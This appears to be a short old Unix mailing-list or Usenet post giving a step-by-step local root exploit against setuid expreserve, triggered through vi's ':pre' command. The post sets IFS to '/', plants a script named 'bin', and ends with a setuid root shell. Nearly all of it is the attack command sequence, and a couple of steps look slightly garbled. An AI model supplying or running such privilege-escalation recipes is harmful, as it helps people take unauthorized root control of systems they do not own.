ObBug: vi runs expreserve when it crashes or you type ':pre' (on some
  versions).  Expreserve is setuid root.  Expreserve runs /bin/mail
  with 'system()'.  So, do the following:
    % cd /tmp
    % cp /bin/sh fubar
    % cat > bin
    chmod 4755 fubar
    ^D
    % chmod u+x fubar
    % setenv IFS=/
    % vi
    :pre
    :q
    % fubar
    #
  Some versions of expreserve don't have the hole.
  Some versions of vi don't have the :pre command.
  One does not imply the other.